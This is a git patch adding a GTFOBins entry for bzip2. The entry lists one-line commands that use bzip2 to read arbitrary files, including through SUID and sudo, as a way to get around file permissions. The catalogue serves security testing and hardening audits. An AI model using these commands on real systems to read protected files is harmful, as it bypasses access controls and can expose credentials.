From cdc81c5a74a27e24133769b7c5214d7c5ddf354a Mon Sep 17 00:00:00 2001 From: Emiyo <87488349+poprax@users.noreply.github.com> Date: Sun, 26 Sep 2021 10:59:01 +0100 Subject: [PATCH] Add bzip2 Co-authored-by: Andrea Cardaci --- _gtfobins/bzip2.md | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) create mode 100644 _gtfobins/bzip2.md diff --git a/_gtfobins/bzip2.md b/_gtfobins/bzip2.md new file mode 100644 index 0000000..1f7dd8b --- /dev/null +++ b/_gtfobins/bzip2.md @@ -0,0 +1,16 @@ +--- +description: There are also a number of other utilities that rely on `bzip2` under the hood, e.g., `bzless`, `bzcat`, `bunzip2`, etc. Besides having similar features, they also allow privileged reads if `bzip2` itself is SUID. +functions: + file-read: + - code: | + LFILE=file_to_read + bzip2 -c $LFILE | bzip2 -d + suid: + - code: | + LFILE=file_to_read + ./bzip2 -c $LFILE | bzip2 -d + sudo: + - code: | + LFILE=file_to_read + sudo bzip2 -c $LFILE | bzip2 -d +---